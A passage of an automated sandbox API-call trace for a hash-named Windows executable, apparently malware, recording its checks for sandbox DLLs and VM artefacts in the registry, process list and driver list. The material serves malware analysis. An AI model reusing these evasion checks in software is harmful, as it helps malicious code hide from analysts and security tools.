= 366 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 367 start_va = 0x1d30000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 368 start_va = 0x74eb0000 end_va = 0x762aefff monitored = 0 entry_point = 0x7506b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 369 start_va = 0x76800000 end_va = 0x76836fff monitored = 0 entry_point = 0x76803b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 370 start_va = 0x745b0000 end_va = 0x74aa8fff monitored = 0 entry_point = 0x747b7610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 371 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 372 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 373 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 374 start_va = 0x74520000 end_va = 0x745acfff monitored = 0 entry_point = 0x74569b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 375 start_va = 0x76470000 end_va = 0x764b3fff monitored = 0 entry_point = 0x76477410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 376 start_va = 0x73f20000 end_va = 0x73f2efff monitored = 0 entry_point = 0x73f22e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 377 start_va = 0x1db0000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 378 start_va = 0x1eb0000 end_va = 0x202afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 379 start_va = 0x2030000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 380 start_va = 0x5f0000 end_va = 0x5f5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 381 start_va = 0x1d30000 end_va = 0x1d34fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 382 start_va = 0x1da0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 785 start_va = 0x1d40000 end_va = 0x1d55fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d40000" filename = "" Thread: id = 3 os_tid = 0x254 [0083.157] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="kernel32" | out: DestinationString="kernel32") [0083.157] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x76720000) returned 0x0 [0083.157] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="user32" | out: DestinationString="user32") [0083.157] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="user32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x743d0000) returned 0x0 [0083.265] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="advapi32" | out: DestinationString="advapi32") [0083.265] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x76600000) returned 0x0 [0084.706] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="shell32" | out: DestinationString="shell32") [0084.706] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x74eb0000) returned 0x0 [0092.381] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0092.382] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x16fd8 [0092.382] GetKeyboardLayoutList (in: nBuff=1, lpList=0x16fd8 | out: lpList=0x16fd8) returned 1 [0092.382] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fb0c | out: TokenHandle=0x19fb0c*=0x150) returned 1 [0092.383] GetTokenInformation (in: TokenHandle=0x150, TokenInformationClass=0x19, TokenInformation=0x19fb10, TokenInformationLength=0x14, ReturnLength=0x19fb08 | out: TokenInformation=0x19fb10, ReturnLength=0x19fb08) returned 1 [0092.383] ExpandEnvironmentStringsW (in: lpSrc="%systemroot%\\system32\\ntdll.dll", lpDst=0x19fd4c, nSize=0x104 | out: lpDst="C:\\Windows\\system32\\ntdll.dll") returned 0x1e [0092.383] CreateFileW (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.384] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x1000002, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x158 [0092.384] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1eb0000 [0092.386] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fd50, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe")) returned 0x62 [0092.387] wcsstr (_Str="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", _SubStr="7869.vmt") returned 0x0 [0092.387] NtQuerySystemInformation (in: SystemInformationClass=0x67, SystemInformation=0x19ff4c, Length=0x8, ResultLength=0x0 | out: SystemInformation=0x19ff4c, ResultLength=0x0) returned 0x0 [0092.387] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff54, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff54, ReturnLength=0x0) returned 0x0 [0092.387] GetModuleHandleA (lpModuleName="sbiedll") returned 0x0 [0092.387] GetModuleHandleA (lpModuleName="aswhook") returned 0x0 [0092.387] GetModuleHandleA (lpModuleName="snxhk") returned 0x0 [0092.387] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x18958 [0092.387] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" [0092.387] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") [0092.387] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x0) returned 0xc0000034 [0092.388] LocalFree (hMem=0x18958) returned 0x0 [0092.388] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x18958 [0092.388] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" [0092.389] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") [0092.389] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x15c) returned 0x0 [0092.389] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0092.389] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x1a1e8 [0092.389] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x1a1e8, Length=0x2c, ResultLength=0x19ff48 | out: KeyInformation=0x1a1e8, ResultLength=0x19ff48) returned 0x0 [0092.389] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0092.389] LocalAlloc (uFlags=0x40, uBytes=0x4e) returned 0x1aaf8 [0092.389] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x1aaf8, Length=0x4e, ResultLength=0x19ff48 | out: KeyInformation=0x1aaf8, ResultLength=0x19ff48) returned 0x0 [0092.390] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="qemu") returned 0x0 [0092.390] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="virtio") returned 0x0 [0092.390] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vmware") returned 0x0 [0092.390] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vbox") returned 0x0 [0092.390] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="xen") returned 0x0 [0092.390] LocalFree (hMem=0x1aaf8) returned 0x0 [0092.390] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0092.390] LocalAlloc (uFlags=0x40, uBytes=0x44) returned 0x1aaf8 [0092.390] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x1aaf8, Length=0x44, ResultLength=0x19ff48 | out: KeyInformation=0x1aaf8, ResultLength=0x19ff48) returned 0x0 [0092.391] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="qemu") returned 0x0 [0092.391] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="virtio") returned 0x0 [0092.391] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vmware") returned 0x0 [0092.391] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vbox") returned 0x0 [0092.391] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="xen") returned 0x0 [0092.392] LocalFree (hMem=0x1aaf8) returned 0x0 [0092.392] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0092.392] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x1aaf8 [0092.392] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x1aaf8, Length=0x46, ResultLength=0x19ff48 | out: KeyInformation=0x1aaf8, ResultLength=0x19ff48) returned 0x0 [0092.392] wcsstr (_Str="cdrom&ven_lg&prod_gh24nsb0", _SubStr="qemu") returned 0x0 [0092.392] wcsstr (_Str="cdrom&ven_lg&prod_gh24nsb0", _SubStr="virtio") returned 0x0 [0092.392] wcsstr (_Str="cdrom&ven_lg&prod_gh24nsb0", _SubStr="vmware") returned 0x0 [0092.392] wcsstr (_Str="cdrom&ven_lg&prod_gh24nsb0", _SubStr="vbox") returned 0x0 [0092.392] wcsstr (_Str="cdrom&ven_lg&prod_gh24nsb0", _SubStr="xen") returned 0x0 [0092.393] LocalFree (hMem=0x1aaf8) returned 0x0 [0092.393] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0092.393] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x1aaf8 [0092.393] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x1aaf8, Length=0x50, ResultLength=0x19ff48 | out: KeyInformation=0x1aaf8, ResultLength=0x19ff48) returned 0x0 [0092.402] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="qemu") returned 0x0 [0092.402] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="virtio") returned 0x0 [0092.402] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vmware") returned 0x0 [0092.402] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vbox") returned 0x0 [0092.402] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="xen") returned 0x0 [0092.403] LocalFree (hMem=0x1aaf8) returned 0x0 [0092.403] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x4, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0092.403] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x1aaf8 [0092.403] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x4, KeyInformationClass=0x0, KeyInformation=0x1aaf8, Length=0x46, ResultLength=0x19ff48 | out: KeyInformation=0x1aaf8, ResultLength=0x19ff48) returned 0x0 [0092.404] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="qemu") returned 0x0 [0092.404] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="virtio") returned 0x0 [0092.404] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vmware") returned 0x0 [0092.404] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vbox") returned 0x0 [0092.404] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="xen") returned 0x0 [0092.404] LocalFree (hMem=0x1aaf8) returned 0x0 [0092.404] LocalFree (hMem=0x1a1e8) returned 0x0 [0092.404] NtClose (Handle=0x15c) returned 0x0 [0092.405] LocalFree (hMem=0x18958) returned 0x0 [0092.405] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x1b880) returned 0xc0000004 [0092.412] LocalAlloc (uFlags=0x40, uBytes=0x1c880) returned 0x1db2050 [0092.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1db2050, Length=0x1c880, ResultLength=0x19ff54 | out: SystemInformation=0x1db2050, ResultLength=0x19ff54*=0x155e0) returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="qemu-ga.exe") returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="qga.exe") returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="windanr.exe") returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="vboxservice.exe") returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="vboxtray.exe") returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="vmtoolsd.exe") returned 0x0 [0092.422] wcsstr (_Str="system", _SubStr="prl_tools.exe") returned 0x0 [0092.422] wcsstr (_Str="smss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.422] wcsstr (_Str="smss.exe", _SubStr="qga.exe") returned 0x0 [0092.422] wcsstr (_Str="smss.exe", _SubStr="windanr.exe") returned 0x0 [0092.422] wcsstr (_Str="smss.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.422] wcsstr (_Str="smss.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.423] wcsstr (_Str="smss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.423] wcsstr (_Str="smss.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.423] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.423] wcsstr (_Str="wininit.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.423] wcsstr (_Str="wininit.exe", _SubStr="qga.exe") returned 0x0 [0092.423] wcsstr (_Str="wininit.exe", _SubStr="windanr.exe") returned 0x0 [0092.423] wcsstr (_Str="wininit.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.423] wcsstr (_Str="wininit.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.423] wcsstr (_Str="wininit.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.424] wcsstr (_Str="wininit.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.424] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.424] wcsstr (_Str="winlogon.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.424] wcsstr (_Str="winlogon.exe", _SubStr="qga.exe") returned 0x0 [0092.424] wcsstr (_Str="winlogon.exe", _SubStr="windanr.exe") returned 0x0 [0092.424] wcsstr (_Str="winlogon.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.425] wcsstr (_Str="winlogon.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.425] wcsstr (_Str="winlogon.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.425] wcsstr (_Str="winlogon.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.425] wcsstr (_Str="services.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.425] wcsstr (_Str="services.exe", _SubStr="qga.exe") returned 0x0 [0092.425] wcsstr (_Str="services.exe", _SubStr="windanr.exe") returned 0x0 [0092.426] wcsstr (_Str="services.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.426] wcsstr (_Str="services.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.426] wcsstr (_Str="services.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.426] wcsstr (_Str="services.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="qga.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="windanr.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.426] wcsstr (_Str="lsass.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.426] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.426] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.427] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.427] wcsstr (_Str="dwm.exe", _SubStr="qemu-ga.exe") returned 0x0 [0092.427] wcsstr (_Str="dwm.exe", _SubStr="qga.exe") returned 0x0 [0092.427] wcsstr (_Str="dwm.exe", _SubStr="windanr.exe") returned 0x0 [0092.427] wcsstr (_Str="dwm.exe", _SubStr="vboxservice.exe") returned 0x0 [0092.427] wcsstr (_Str="dwm.exe", _SubStr="vboxtray.exe") returned 0x0 [0092.428] wcsstr (_Str="dwm.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0092.428] wcsstr (_Str="dwm.exe", _SubStr="prl_tools.exe") returned 0x0 [0092.429] LocalFree (hMem=0x1db2050) returned 0x0 [0092.429] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x991c) returned 0xc0000004 [0092.431] LocalAlloc (uFlags=0x40, uBytes=0xa91c) returned 0x1db2050 [0092.431] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x1db2050, Length=0xa91c, ResultLength=0x19ff54 | out: SystemInformation=0x1db2050, ResultLength=0x19ff54*=0x991c) returned 0x0 [0092.431] strstr (_Str="ntoskrnl.exe", _SubStr="vmci.s") returned 0x0 [0092.431] strstr (_Str="ntoskrnl.exe", _SubStr="vmusbm") returned 0x0 [0092.431] strstr (_Str="ntoskrnl.exe", _SubStr="vmmous") returned 0x0 [0092.431] strstr (_Str="ntoskrnl.exe", _SubStr="vm3dmp") returned 0x0 [0092.431] strstr (_Str="ntoskrnl.exe", _SubStr="vmrawd") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vmmemc") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vboxgu") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vboxsf") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vboxmo") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vboxvi") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vboxdi") returned 0x0 [0092.432] strstr (_Str="ntoskrnl.exe", _SubStr="vioser") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vmci.s") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vmusbm") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vmmous") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vm3dmp") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vmrawd") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vmmemc") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vboxgu") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vboxsf") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vboxmo") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vboxvi") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vboxdi") returned 0x0 [0092.432] strstr (_Str="hal.dll", _SubStr="vioser") returned 0x0 [0092.432] strstr (_Str="kd.dll", _SubStr="vmci.s") returned 0x0 [0092.432] strstr (_Str="kd.dll", _SubStr="vmusbm") returned 0x0 [0092.432] strstr (_Str="kd.dll", _SubStr="vmmous") returned 0x0 [0092.432] strstr (_Str="kd.dll", _SubStr="vm3dmp") returned 0x0 [0092.432] strstr (_Str="kd.dll", _SubStr="vmrawd") returned 0x0 [0092.432] strstr (_Str="kd.dll", _SubStr="vmmemc") returned 0x0 [0092.433] strstr (_Str="kd.dll", _SubStr="vboxgu") returned 0x0 [0092.433] strstr (_Str="kd.dll", _SubStr="vboxsf") returned 0x0 [0092.433] strstr (_Str="kd.dll", _SubStr="vboxmo") returned 0x0 [0092.433] strstr (_Str="kd.dll", _SubStr="vboxvi") returned 0x0 [0092.433] strstr (_Str="kd.dll", _SubStr="vboxdi") returned 0x0 [0092.433] strstr (_Str="kd.dll", _SubStr="vioser") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmci.s") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmusbm") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmous") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vm3dmp") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmrawd") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmemc") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxgu") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxsf") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxmo") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxvi") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxdi") returned 0x0 [0092.433] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vioser") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vmci.s") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vmusbm") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vmmous") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vm3dmp") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vmrawd") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vmmemc") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vboxgu") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vboxsf") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vboxmo") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vboxvi") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vboxdi") returned 0x0 [0092.434] strstr (_Str="werkernel.sys", _SubStr="vioser") returned 0x0 [0092.434] strstr (_Str="clfs.sys", _SubStr="vmci.s") returned 0x0 [0092.434] strstr (_Str="clfs.sys", _SubStr="vmusbm") returned 0x0 [0092.434] strstr (_Str="clfs.sys", _SubStr="vmmous") returned 0x0 [0092.434] strstr (_Str="clfs.sys", _SubStr="vm3dmp") returned 0x0 [0092.435] strstr (_Str="clfs.sys", _SubStr="vmrawd") returned 0x0 